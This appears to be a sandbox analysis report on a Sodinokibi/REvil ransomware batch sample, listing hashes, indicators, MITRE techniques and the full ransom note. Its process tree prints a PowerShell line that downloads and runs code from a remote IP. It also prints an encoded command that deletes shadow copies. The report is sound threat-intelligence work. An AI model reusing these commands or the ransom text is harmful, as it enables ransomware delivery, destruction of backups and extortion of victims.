sodinokibi | bb6e5707ed0e890b78840f7baf4ddc06662c752d1db3c0b7f510db84c544a44f

General

Target

0c8fe037f03d1ce50314d43d98fbb194.bat
Size

219B
MD5

7ade68e5f45f65e5f0d80987ec07fe12
SHA1

ad4667dfd46bd31108df3355378d115891af37b4
SHA256

bb6e5707ed0e890b78840f7baf4ddc06662c752d1db3c0b7f510db84c544a44f
SHA512

24c287f1306c94c85824f19d7285525afc0dad378975bbf1b92fd4b6217cfb3f33f0c2f98634cc8b2d9a65af5fbd8ad3cc1ddfcec1af86a97bfdf3d84f6f0a7a

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/0c8fe037f03d1ce50314d43d98fbb194

Extracted

Path

C:\a718494f64-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension a718494f64. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/E93CD2D66E9B0E2E 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/E93CD2D66E9B0E2E Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 5ug/ePDFRARBNi2DL5ohvbzAuRbnvI0prM/iEx9up2I8nd+UXON/+LLw4ZSXy8tL bIFLzVvHInCVtLkfM+doXqd+1He1nHsLNOO+xZSisV0CpQsn5E5yR5eDrYeuh8Q1 Cqfe32uDf22ncQGYDDPhZsik+xAvaDBnJAbEjgAJzWkBP5JucvGvqxim7J8jwgEd 7+a3MGA2vyUougcbRGzSfZ1Wi+Vliyr7lCD1LfHul4hHuiSu+lN8uj5Va702uE4H ZOBwsbD8G7wEN5cKe42rtc+dy7nrNqXc3f5KyDj4VaGu3vupKFBi1iOoaUc19Kyp nGEMQ4ae1dwL59rm9Eydn93oFe04bWZMCYbim9hDoAsqcxTl9aIr/MZds1964seE n0UOaETOJpcuIjIRsopzmpmS1bp33jPVf6KYFVmZcLyDlzM08Wfbled/N8rWMrN4 /sPtg6rmn/KnjB8QnLlachZNZTP10zohVVErbYjzPyzZf5/V5b1i/ZVhZU2+R70y 98vXjwyx2ZyltfOI75SKy4bkoxSXllyeA5e8v5tsG0RAvEy0FDgIXuVAErtWttHN SDUhjK6pvRIzJOtNDU+I13PfxLqxmVI7obMvnWUepWTTfzcwFA539sbLzS2I+aTO z+FBhPemoVSkItFtFZfyzgSFlVtnm4cF+L4/+/A9AGOwaWd8shBgrfvXLNfebbfm KxPvaFEcnciXflIwJ6Yh6TJLqyNStSCWD0aC0IQCUalhm1lBeBfgXBTvnCEQOEfx NXbGxm2j+U1VzDsVBBNZXJ7GJJmzXbAwsvRnzAeHI7ZqCE+PI0VeteBkSbepaSkf z5r1ZHaweAfs+NWcqhOgjxZsVxHSdSNCoD2KlbDtzEo5S839EQb2J6VMnyFuSpa6 j16KRLF1oTAha3aConSX9biRKV+XEvsJoEgtnhrvZ50ykXXdqA6g11lXXxKZTco/ VxBQPBBsUwrK7kxVWcpkxYlMuWfIbqK1IFXaqw8u5OJsljaGkmP/115gMcBwdqAF gH7Y/M5GkQBtbYGnXC0XiHKr14h0OM1o84rZK3PmD5KibtTUGuSXiXe7liWgAXiG //l7B4Xb76ZtpkYTcHW50du88iFO3AeEyat2HoNtRgCYw9BeipisHKmO6wH51oRp IFH2HKW6AVYCk4P8mUqCPxPdT/n6TLHjozxR3WfzmMfHNTMxLEG6vc9ZF3pWGMlJ Haktz80NoAirAHQxrtWZUNJY6bNEb72XALt/NBunPFE3S4mKx3c8lt5tPbQO9VW6 NHd/rftR/Kkv0zFk1LMsPfsB0y1l/PeCI9xJrQWuDzAeRQ3vBeqJBQ== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/E93CD2D66E9B0E2E

http://decryptor.cc/E93CD2D66E9B0E2E

Signatures

Suspicious behavior: EnumeratesProcesses 77 IoCs

Processes:

powershell.exepowershell.exe

pid	process
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1552	powershell.exe
1552	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Drops file in Program Files directory 34 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\OptimizeNew.wvx	powershell.exe
File opened for modification	\??\c:\program files\ResumeMount.ogg	powershell.exe
File opened for modification	\??\c:\program files\UnlockUndo.mpeg2	powershell.exe
File opened for modification	\??\c:\program files\UnprotectEnable.png	powershell.exe
File opened for modification	\??\c:\program files\UnregisterWait.docx	powershell.exe
File created	\??\c:\program files\a718494f64-readme.txt	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\a718494f64-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\SendSubmit.avi	powershell.exe
File opened for modification	\??\c:\program files\RestoreTest.temp	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\a718494f64-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\PingStep.ini	powershell.exe
File opened for modification	\??\c:\program files\ProtectRename.xps	powershell.exe
File opened for modification	\??\c:\program files\RestoreDebug.ogg	powershell.exe
File created	\??\c:\program files (x86)\a718494f64-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ConfirmResize.mpv2	powershell.exe
File opened for modification	\??\c:\program files\MeasureEnter.mov	powershell.exe
File opened for modification	\??\c:\program files\SearchTrace.midi	powershell.exe
File opened for modification	\??\c:\program files\SwitchGet.crw	powershell.exe
File opened for modification	\??\c:\program files\AddDeny.xps	powershell.exe
File opened for modification	\??\c:\program files\HideSend.xht	powershell.exe
File opened for modification	\??\c:\program files\InstallClear.xls	powershell.exe
File opened for modification	\??\c:\program files\TraceUpdate.emf	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\a718494f64-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ApproveSwitch.wm	powershell.exe
File opened for modification	\??\c:\program files\ConnectWatch.mpeg3	powershell.exe
File opened for modification	\??\c:\program files\RestoreRequest.rar	powershell.exe
File opened for modification	\??\c:\program files\SkipDisable.M2T	powershell.exe
File opened for modification	\??\c:\program files\BlockReset.txt	powershell.exe
File opened for modification	\??\c:\program files\InvokeApprove.png	powershell.exe
File opened for modification	\??\c:\program files\ReadDeny.rm	powershell.exe
File opened for modification	\??\c:\program files\TraceRepair.otf	powershell.exe
File opened for modification	\??\c:\program files\CloseOpen.m3u	powershell.exe
File opened for modification	\??\c:\program files\ConvertRevoke.MTS	powershell.exe
File opened for modification	\??\c:\program files\DisableJoin.html	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\z6bh422b7ed5g.bmp"	powershell.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1012 powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1512 wrote to memory of 1012	1512	cmd.exe	powershell.exe
PID 1012 wrote to memory of 1552	1012	powershell.exe	powershell.exe
PID 1012 wrote to memory of 1552	1012	powershell.exe	powershell.exe
PID 1012 wrote to memory of 1552	1012	powershell.exe	powershell.exe
PID 1012 wrote to memory of 1552	1012	powershell.exe	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1012	powershell.exe
Token: SeDebugPrivilege	1012	powershell.exe
Token: SeDebugPrivilege	1552	powershell.exe
Token: SeBackupPrivilege	1764	vssvc.exe
Token: SeRestorePrivilege	1764	vssvc.exe
Token: SeAuditPrivilege	1764	vssvc.exe
Token: SeTakeOwnershipPrivilege	1012	powershell.exe

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 1012 powershell.exe

flow	pid	process
3	1012	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\0c8fe037f03d1ce50314d43d98fbb194.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1512

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/0c8fe037f03d1ce50314d43d98fbb194');Invoke-NIZOHWYRLEXH;Start-Sleep -s 10000"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Drops file in Program Files directory
- Sets desktop wallpaper using registry
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
PID:1012

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1552

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1764

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads